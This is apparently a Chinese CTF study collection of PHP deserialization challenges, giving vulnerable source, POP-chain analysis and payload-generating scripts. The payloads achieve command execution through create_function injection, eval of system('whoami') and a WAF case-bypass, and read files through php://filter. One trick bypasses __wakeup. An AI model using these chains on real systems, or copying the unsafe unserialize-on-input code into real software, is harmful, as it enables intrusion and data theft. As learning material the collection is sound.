php反序列化题目收集
# php反序列化题目收集
# 1.题目1
需要php7.0以上环境 利用到的知识点:数组当作方法调用的特性、 create_function函数 解题:
① $f = create_function('$a,$b', 'echo($a+$b);'); $f(1,2); //3
②数组当作函数调用,就会调用 a 类中的 test() 方法
$arr=[$a,"test"]; //对象和函数都在一个数组中 $arr();
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func{
public $mod1;
public $mod2;
public $key;
public function __destruct(){
unserialize($this->key)();
$this->mod2 = "welcome ". $this->mod1;
}
}
class GetFlag{
public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET[0]);
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 解题:test1.php
题目有两个类,其中func类有3个属性、一个__destruct()方法,GetFlag有两个属性,一个方法get_flag()。
程序的起点为 unserialize($_GET[0]),终点为:get_flag() 的 $a('', $this->code);
get_flag() 中属性 action 也就是 a 被当作函数方法执行,可以把 action 赋值为:create_function,来达到执行系统命令的目的,这样方法的调用执行就转换为执行create_function{}的操作。
仔细分析 unserialize($this->key)(); , 发现这是一个方法的调用,方法名为:unserialize($this->key) ,可以利用数组的特性来调用其他类的方法,进而调用其他类的方法,我们这里想要调用到 GetFlag 类的 get_flag() 方法,那么我就让设置:unserialize($this->key)=[$g,"get_flag()"] 。其中 $g 为 GetFlag 类的实例化对象。
unserialize($this->key)=[$g,"get_flag()"];
将这个等式转换一下:$this->key=serialize([$g,"get_flag()"]);
也就是:$f->key=serialize([$g,"get_flag()"]);
$f是 func 类的实例化对象
再来分析 get_flag() 方法,$a('', $this->code); ,$a 也就是 action 属性 被当作方法调用,这里就把action 设置成 create_function ,把里面的参数 code 构造成方法体,用来执行恶意代码。
<?php
//第一个参数要使用单引号,双引号会解析不能使用;第二个参数结尾记得加分号
$f = create_function('$a,$b', 'echo($a+$b);');
$f(1,2); //输出3
对比题目中:
$a('', $this->code);
$a就是方法:create_function(){}
code 就是 'echo($a+$b);'
我们将 $code = '};system("whoami");//';
2
3
4
5
6
7
8
9
10
使用 } 闭合掉 create_function 方法的第一个 { ,后面加上要执行的代码,// 注释掉 create_function 的第二个 }
Payload:
<?php
class func{
public $mod1;
public $mod2;
public $key;
}
class GetFlag{
public $code = "};system('type flag.php');//";
public $action="create_function";
}
$f=new func();
$g=new GetFlag();
$f->key=serialize([$g,"get_flag"]);
echo urlencode(serialize($f));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
序列化后结果:
O%3A4%3A%22func%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BN%3Bs%3A4%3A%22mod2%22%3BN%3Bs%3A3%3A%22key%22%3Bs%3A130%3A%22a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22GetFlag%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A28%3A%22%7D%3Bsystem%28%27type+flag.php%27%29%3B%2F%2F%22%3Bs%3A6%3A%22action%22%3Bs%3A15%3A%22create_function%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7D%22%3B%7D
修改题目: 使用另一个类执行 create_function 方法
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __destruct(){
//这里 unserialize($this->key) 方法必须有参数,否则无法实现
unserialize($this->key)('', $this->mod1);
$this->mod2 = "welcome ". $this->mod1;
}
}
class GetFlag{
public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a();
// $a('', $this->code); //也可使用这个
}
}
unserialize($_GET[0]);
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Payload:
<?php
class func{
public $mod1="};system('whoami');//";
public $mod2;
public $key;
}
class GetFlag{
public $code;
public $action;
}
$f=new func();
$g=new GetFlag();
$g->action=[$f,'__destruct']; //反过来使用 action 调用 fun 类的__destruct()方法
$f->key=serialize("create_function");
echo urlencode(serialize($g));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
我们发现要调用的函数例如 $a() ,内必须要有参数,作为 create_function 的参数否则无法成功调用 !!
# 2.题目2
# POP:test2.php
<?php
error_reporting(0);
highlight_file(__FILE__);
class Vox{
protected $headset;
public $sound;
public function fun($pulse){
include($pulse);
}
public function __invoke(){
$this->fun($this->headset);
}
}
class Saw{
public $fearless;
public $gun;
public function __construct($file='index.php'){
$this->fearless = $file;
echo $this->fearless . 'You are in my range!'. "<br>";
}
public function __toString(){
$this->gun['gun']->fearless;
return 'Saw';
}
public function _pain(){
if($this->fearless){
highlight_file($this->fearless);
}
}
public function __wakeup(){
if(preg_match("/sopher|http|file|ftp|https|dict|php|\.|\//", $this->fearless)){
echo "Does it hurt? That's right";
$this->fearless = "index3.php";
}
}
}
class Petal{
public $seed;
public function __construct(){
$this->seed = array();
}
public function __get($sun){
$Nourishment = $this->seed;
return $Nourishment();
}
}
if(isset($_GET['ozo'])){
unserialize($_GET['ozo']);
}
else{
$Saw = new Saw('index3.php');
$Saw->_pain();
}
?> index3.phpYou are in my range!
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
分析题目,按步骤做题:
找到反序列化入口点:unserialize($_GET['ozo']);再找终点,即能够执行任意系统命令的地方,发现 Vox 类的 fun 方法有 include ,可以传入我们要执行的命令。
找到了 __invoke() 中调用了 fun() ,参数为 headset ,那么就可以令:$headset = "php://filter/convert.base64-encode/resource/flag.php";接着找能都调用 __invoke() 的地方,__invoke() 是把对象当做函数调用时触发,找函数调用的地方。发现 Petal 的 get() 方法中 return $Nourishment() ,seed 被当做函数调用;接下来找能调用 __get() 的地方,即调用不可访问、不存在的对象成员属性时触发,找到 Saw 的 __toString() 下的 $this->gun['gun']->fearless; gun被当成一个数组,这里我们让 $s->gun=array("gun"=>$p) ,那么 Petal 的对象 $p 调用 fearless,fearless在 Petal 类中不存在,即可触发了 get() ,接着找能触发 toString() 的地方,对象被当作字符串处理时会调用他,找到 Saw 类的 wakeup() 方法,$this->fearless 被当作字符串处理;然后找能触发 wakeup() 的地方,即执行unserialize()时会调用他,
unserialize($_GET['ozo']),ozo=$s2
Saw::__wakeup(),$s2->fearless=$s
Saw::__toString(),$s->gun=array("gun"=>$p)
Petal::__get(),$p->seed=$v;
Vox::__invoke()
Vox::fun
2
3
4
5
6
Payload
<?php
class Vox{
public $headset = "php://filter/convert.base64-encode/resource=flag.php"; //这里是=flag.php
public $sound;
}
class Saw{
public $fearless;
public $gun;
}
class Petal{
public $seed;
}
$v=new Vox();
$p=new Petal();
$p->seed=$v;
$s=new Saw();
//$this->gun['gun']->fearless; 理解为$s->gun赋值为一个数组array,键为"gun",值为$p
$s->gun=array("gun"=>$p);
$s2=new Saw();
$s2->fearless=$s;
echo urlencode(serialize($s2));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
传入参数,base64解码得到flag
# 3.题目3
# POP:pop1
Welcome to index.php Welcome to index.php
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# 分析
# 同题目2类似
起点:unserialize($_GET['pop'])
终点:Modifier 类的 __invoke() 方法,include
**注意:**要调用 Test 类的 __get() 方法,将 Test 类对象赋值给 Show 类的 str 属性,即:
$s->str=$t; ,这样 Test 类中找不到 source 属性,触发 __get() 方法。
使用到的魔术方法:
__invoke() //把对象当做函数调用时触发 __get() //调用不可访问、不存在的对象成员属性时触发 __wakeup() //执行unserialize()时,先会调用这个方法 __toString() //把对象当成字符串调用时触发1
2
3
4
<?php
class Modifier {
public $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$m = new Modifier();
$t = new Test();
$t->p=$m;
$s = new Show();
$s->str=$t;
$s2 = new Show();
$s2->source=$s;
echo urlencode(serialize($s2));
?>
/*
pop链条构造:
unserialize($_GET['pop']),pop=$s2
Show2::__wakeup(),$s2->source=$s;
Show::__toString(),$s->str=$t;
Test::__get,$t->p=$m;
Modifier::__invoke,var
Modifier::append
*/
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 4.题目4
# POP :pop2.php
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value){ //Read类里的危险函数,能读取$value的内容并返回
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){ // Read类里对象被当成函数处理时⾃动调⽤,此魔法函数调用危险函数
$content = $this->file_get($this->var);
echo $content;
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){ // 构造Show类实例时调用
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString(){ // show类的对象被当作字符串处理时调⽤
return $this->str['str']->source;
}
public function _show(){
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup(){ //show类的对象反序列化时⾃动调⽤
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){ // 构造Test类实例时调用
$this->p = array();
}
public function __get($key){ //获取Test类不存在或者不可访问的变量时⾃动调⽤
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$show = new Show('pop2.php');
$show->_show();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
起点:unserialize($_GET['hello']);
终点:Read 类的 file_get 方法,file_get_contents
使用到的魔术方法:
__invoke() //把对象当做函数调用时触发 __get() //调用不可访问、不存在的对象成员属性时触发 __wakeup() //执行unserialize()时,先会调用这个方法 __toString() //把对象当成字符串调用时触发1
2
3
4
Payload:
<?php
class Read {
public $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$r=new Read();
$t=new Test();
$t->p=$r;
$s=new Show();
$s->str['str']=$t;
$s2=new Show();
$s2->source=$s;
echo serialize($s2);
echo urlencode(serialize($s2));
?>
/**
pop构造:
unserialize($_GET['hello']),hello=$s2
Show2::__wakeup(),$s2->source=$s;
Show::__toString(),$s->str['str'=>source]=$t;
Test::__get(),$t->p=$r;
Read::__invoke(),file_get(),var
*/
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
得到的结果传入后得到base编码结果,进行两次解码即可得到源代码
pop2.php?hello=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}}s:3:"str";N;}
# 5.题目5
# pop : s1.php
<?php
error_reporting(0);
show_source("1.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
起点:unserialize($w00m)
终点:w44m 类的 Getflag() 方法,include
很明显 Getflag() 有 include 函数,可以作为pop链终点。
要执行 Getflag() 方法,需要满足条件:admin='w44m',并且 passwd='08067', 还要找到调用 Getflag() 的地方,该方法不能自动触发,因此需要考虑如何触发该方法;
发现 __toString() 方法下的代码可以实现 Getflag 方法调用,只需令 w33m 类的属性 w 00m 为 w44m 对象,属性 w00m为w44m对象,属性 w22m 的值为 Getflag;要触发 toString 方法,找把对象当成字符串使用的地方,只有 w22m 类的 echo $this->w00m;
payload:
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m="Getflag";
}
$w2=new w22m();
$w3=new w33m();
$w4=new w44m();
$w3->w00m=$w4;
$w2->w00m=$w3;
echo urlencode(serialize($w2));
?>
/**
pop链为:w22m->w33m->w44m
unserialize($w00m),w00m=w22m
w22m::__destruct,w22m->w00m=w33m
w33m::__toString,w33m->w22m=Getflag()
w44m->Getflag();
*/
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 6.题目6
# pop: s2.php
<?php
class entrance{
public $start;
function __construct($start){
$this->start = $start;
}
function __destruct(){
$this->start->helloworld();
}
}
class springboard{
public $middle;
function __call($name, $arguments){
echo $this->middle->hs;
}
}
class evil{
public $end;
function __construct($end){
$this->end = $end;
}
function __get($Attribute){
eval($this->end);
}
}
if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
起点:unserialize($_GET['serialize'])
终点:evil 类的 __get 方法,eval 函数
eval() 将字符串当作代码执行1很明显 eval() 方法可以作为pop链终点。
要调用 eval() 方法,找到了 __call 方法的 echo $this->middle->hs;
要调用 __call() ,找到了 entrance 类下的 $this->start->helloworld();
__get() //调用不可访问、不存在的对象成员属性时触发 __call() //调用对象不可访问、不存在的方法时触发 __destruct() //类的析构函数,对象被销毁时触发1
2
3
Payload
<?php
class entrance{
public $start;
}
class springboard{
public $middle;
}
class evil{
public $end='system("whoami");';
}
$e=new evil();
$s=new springboard();
$s->middle=$e;
$e2=new entrance();
$e2->start=$s;
echo urlencode(serialize($e2));
?>
/**
unserialize($_GET['serialize']),serialize=$e
entrance::__destruct(),$e2->start=$s;
springboard::__call(),$s->middle=$e;
evil::__get(),eval
*/
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 7.题目7(1)
# pop : s3.php
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup(){
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString(){
echo $this->fun;
return " ";
}
public function __invoke(){
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup(){
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value){
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
// func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
// }
// function hint(){
// echo ".......";
// die();
// }
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
waf.php
<?php
function checkcheck($data){
if (preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/",$data,$match)){
die('something wrong');
}
}
function hint(){
echo "flag is in /";
die();
}
?>
2
3
4
5
6
7
8
9
10
11
12
起点:unserialize($_GET['ser'])
终点:NISA 类的 __invoke 方法,eval 函数
eval() 方法可以作为pop链终点。
要调用 eval() 方法,找到了 __invoke 方法的 @eval($this->txw4ever); 发现 invoke ,直接找对象当成函数调用的地方,找到了Ilovetxw类的return $bb(); 再接着找调用toString的地方。
由于存在 waf 过滤,这里使用大小写绕过,whoami 替换为 tac fl*
Payload1:
<?php
class NISA{
public $fun="show_m"; //任意修改,为了绕过hint();
public $txw4ever="SysTem('whoami');"; //txw4ever会存在绕过
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a="TXW4EVER";
private $fun='abc';
}
$n=new NISA();
$i=new Ilovetxw();
$i->su=$n;
$f=new four();
$f->a=$i;
$i2=new Ilovetxw();
$i2->huang=$f;
$t=new TianXiWei();
$t->ext=$i2;
echo serialize($t);
echo urlencode(serialize($t));
?>
/**
unserialize($_GET['ser']),ser=$t
TianXiWei::__wakeup(),$t->ext=$i2;
Ilovetxw::__call(),$i2->huang=$f;
four::__set(),$f->a=$i;
Ilovetxw::toString(),$i->su=$n;
NISA::__invoke(),eval
*/
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Payload2:
<?php
class NISA{
public $fun="666";
public $txw4ever="SYstem('whoami');";
}
class Ilovetxw{
public $su;
}
$n=new NISA();
$i=new Ilovetxw();
$i->su=$n;
$n1=new NISA();
$n1->fun=$i;
echo urlencode(serialize($n1));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 8.题目8
# pop : s4.php [NISACTF 2022]popchains
Happy New Year~ MAKE A WISH Happy New Year~ MAKE A WISH
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
常规题,直接构造pop链
payload:
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Make_a_Change{
public $effort;
}
$t=new Try_Work_Hard();
$m=new Make_a_Change();
$m->effort=$t;
$r=new Road_is_Long();
$r->string=$m;
$r2=new Road_is_Long();
$r2->page=$r;
echo serialize($r2);
echo urlencode(serialize($r2));
?>
/**
unserialize($_GET['wish']),wish=$r2
Road_is_Long::__wakeup(),$r2->page=$r;
Road_is_Long::__toString(),$r->string=$m;
Make_a_Change::__get(),$m->effort=$t;
Try_Work_Hard::__invoke()
Try_Work_Hard::append,include
*/
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 9.题目9(1)
# pop : s5.php
<?php
include 'flag.php';
class pkshow {
function echo_name(){
return "Pk very safe^.^";
}
}
class acp {
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name(){
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks'])) {
$logData = unserialize($_GET['pks']);
echo $logData;
}
else {
highlight_file(__file__);
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
file_get_contents() 函数 : 是一个php函数,用于读取文件中的内容并将其作为字符串返回。它接受一个参数,即要读取的文件的路径。 但遇到读大文件操作时,不建议使用。可以考虑curl等方式代替。 __toString() //把对象当成字符串调用时触发 __construct() //类的构造函数,创建对象时触发,使用 new关键字创建一个类的新实例时,PHP会自动调用该类中的 __construct() 方法。1
2
3
关键:if($this->openstack->neutron === $this->openstack->nova)
解法一:由于$heat变量没有被赋值,所以他是空的,也就是null,绕过方式是使用NULL===NULL,即$nova=NULL
解法二:$acp->neutron=&$acp->nova; 绕过
可以发现 echo_name() 中的 heat 属性不存在,可以把他认为时 null
那么 $this->openstack->neutron = NULL;
Payload1:
<?php
class acp {
protected $cinder;
public $neutron;
public $nova=NULL;
function __construct(){
$this->cinder = new ace(); //ace对象的实例化在这里进行,因为cinder属性是protected
}
}
class ace{
public $filename='../flag.php';
public $openstack;
public $docker;
}
$acp=new acp();
echo urlencode(serialize($acp));
?>
/**
unserialize($_GET['pks']),pks=$p
acp::__toString,$p->cinder=$e
ace::echo_name,file_get_content()
*/
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Payload2:
<?php
class acp {
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder = new ace(); //ace对象的实例化在这里进行,因为cinder属性是protected
}
}
class ace{
public $filename='../flag.php';
public $openstack;
public $docker;
}
$acp=new acp();
$acp->neutron=&$acp->nova; //使 neutron 与 nova 永恒相等,绕过if条件
echo urlencode(serialize($acp));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 10.题目10
# pop : s6.php
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
payload:
<?php
class A{
public $var_1="php://filter/convert.base64-encode/resource=flag.php";
}
class B{
public $q;
}
class C{
public $var;
}
class D{
public $p;
}
$a=new A;
$d=New D;
$d->p=$a;
$c=new C;
$c->z=$d;
$b=new B;
$b->q=$c;
echo urlencode(serialize($b));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 11.题目11
# pop : s7.php
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct(){
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString(){
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars){
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke(){
$this->obj->getStr();
}
public function end(){
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end(){
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var){
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
找到题目终点 WhiteGod 类中的 ($this->func)($this->var); ,可当做执行任意代码的地方,可以让 func 为 system ,让 var 为 whoami,
构造pop链,发现 CTF 类调用了 unset,Handle 类调用了 end ,
Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
由于链子调用中成员属性有 private 和 protected,为了保险起见我们用 construct ()方法去调用链子,最后再使用url编码绕过;也可把 private 和 protected都改为 public,使用常规方法
__unset() //在不可访问的属性上使用unset()时触发
__call() //调用对象不可访问、不存在的方法时触发
__invoke() //把对象当做函数调用时触发
__toString() //把对象当成字符串调用时触发
__destruct() //类的析构函数,反序列化后对象被销毁时触发,
2
3
4
5
payload:
<?php
class Begin{
public $name;
public function __construct(){
$this->name = new Then;
}
}
class Then{
private $func;
public function __construct(){
$this->func= new Super;
}
}
class Handle{
protected $obj;
public function __construct(){
$this->obj = new CTF;
}
}
class Super{
protected $obj;
public function __construct(){
$this->obj = new Handle;
}
}
class CTF{
public $handle;
public function __construct(){
$this->handle = new WhiteGod;
}
}
class WhiteGod{
public $func = 'system';
public $var = 'whoami';
}
$begin = new Begin();
echo serialize($begin)."\n";
echo urlencode(serialize($begin));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# 12.题目12
# [SWPUCTF 2022 新生赛]ez_ez_unserialize
# __wakeup()绕过,php5.6以上不支持
s8.php
<?php
class X{
public $x = __FILE__;
function __construct($x){
$this->x = $x;
}
function __wakeup(){
if ($this->x!== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct(){
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__construct():在类被实例化时调用
__wakeup():在类被反序列化之前调用
__destruct():在对象销毁后执行,highlight_file)()函数,提示flag在fllllllag.php里面,这里可以作为读取flag的入口
这里调用顺序是: construct()-->wakeup()-->反序列化操作-->destruct()
首先需要给 x 变量修改值为 fllllllag.php,然后construct方法执行后会实例化对象,但是后面又执行了wakeup,x 又被重新改为:FILE,那么执行到destruct的时候就不会出现fllllllag.php的内容,所以需要绕过 wakeup 函数
绕过:序列化后更改序列对象的数量进行绕过
payload:
无法正常执行,需要转换php版本为 5.6.9
<?php
class X{
public $x = "fllllllag.php";
}
$a = new X();
echo serialize($a);
echo urlencode(serialize($a));
?>
2
3
4
5
6
7
8
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
O:1:"X":5:{s:1:"x";s:13:"fllllllag.php";}
2

# 13.题目13
https://ctf.show/challenges#
WEB入门-反序列化
# web254.php
<?php
/*
*-- coding: utf-8 --*
# @Author: hlxa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: hlxa
# @Last Modified time: 2020-12-02 19:29:02
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxx';
public $password='xxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip())
$user->vipOneKeyGetFlag();
}else{
echo "no vip,no flag";
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
分析:
程序的 vipOneKeyGetFlag() 会返回 flag
只有一个类,get传入两个参数后会实例化类对象,此题没有用到反序列化漏洞,根据题目提示传入相应参数即可
?username=xxxxx&password=xxxxx
# 14.题目14
# web255.php
<?php
/*
*-- coding: utf-8 --*
# @Author: hlxa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: hlxa
# @Last Modified time: 2020-12-02 19:29:02
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxx';
public $password='xxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
